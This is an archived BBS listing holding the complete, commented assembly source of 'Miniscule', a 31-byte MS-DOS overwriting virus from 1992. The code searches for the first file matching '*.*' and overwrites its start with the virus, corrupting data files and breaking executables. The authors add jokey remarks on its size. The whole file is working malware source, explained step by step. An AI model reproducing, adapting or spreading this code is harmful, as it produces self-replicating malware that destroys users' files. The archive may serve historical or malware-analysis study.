home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
The Unsorted BBS Collection
/
thegreatunsorted.tar
/
thegreatunsorted
/
live_viruses
/
virus_collections
/
miniscul.asm
< prev
next >
Wrap
Assembly Source File
|
1992-01-22
|
3KB
|
77 lines
; Miniscule: the world's smallest generic virus (only 31 bytes long!)
; (C) 1992 Nowhere Man and [NuKE] WaReZ
; Written on January 22, 1991
code segment 'CODE'
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
; Find the name of the first file and return it in the DTA. No checking
; is done for previous infections, and ANY file (except directory "files")
; will be infected, including data, texts, etc. So either a file is corrupted
; (in the case of data or text) or infected (.EXE and .COM files). Files that
; have the read-only flag set are immune to Miniscule.
mov ah,04Eh ; DOS find first file function
mov cl,020h ; CX holds attribute mask
mov dx,offset star_dot_com ; DX points to the file mask
int 021h
; Open the file that we've found for writing only and put the handle into
; BX (DOS stupidly returns the file handle in AX, but all other DOS functions
; require it to be in AX, so we have to move it).
mov ax,03D01h ; DOS open file function, w/o
mov dx,009Eh ; DX points to the found file
int 021h
xchg bx,ax ; BX holds the file handle
; Write the virus to the file. The first 31 bytes at offset 0100h (ie: the
; virus) are written into the beginning of the victim. No attempt is made
; to preserve the victim's executability. This also destroys the file's date
; and time, making Miniscule's activity painfully obvious. Also, if the
; victim is smaller than 31 bytes (rare), then it will grow to exactly 31.
mov ah,040h ; DOS write to file function
dec cx ; CX now holds 01Fh (length)
mov dx,offset main ; DX points to start of code
int 021h
; Exit. I chose to use a RET statement here to save one byte (RET is one byte
; long, INT 020h is two), so don't try to compile this as an .EXE file; it
; will crash, as only .COMs RETurn correctly (DOS again). However INFECTED
; .EXE programs will run successfully (unless they are larger than 64k, in
; which case DOS will refuse to run it.
ret ; RETurn to DOS
main endp
; The only data required in this program, and it's only four bytes long. This
; is the file mask that the DOS find first file function will use when
; searching. Do not change this to .EXE (or whatever) because this virus
; is size dependent (if you know what you're doing, go ahead [at you're own
; risk]).
star_dot_com db "*.*",0 ; File search mask
finish label near
code ends
end main
; There you have it: thirty-one bytes of pure terror -- NOT! As you can
; pretty well guess, this virus is very lame. Due to its poor reproduction,
; it is hardly a threat (hitting one file, if you're lucky), but it works,
; and it fits the definition of a virus. There is no way to make this code
; any smaller (at least under MS-DOS), except if you made it only infect
; one specific file (and the file would have to have a one- or two-byte name,
; too), and that would be next to useless.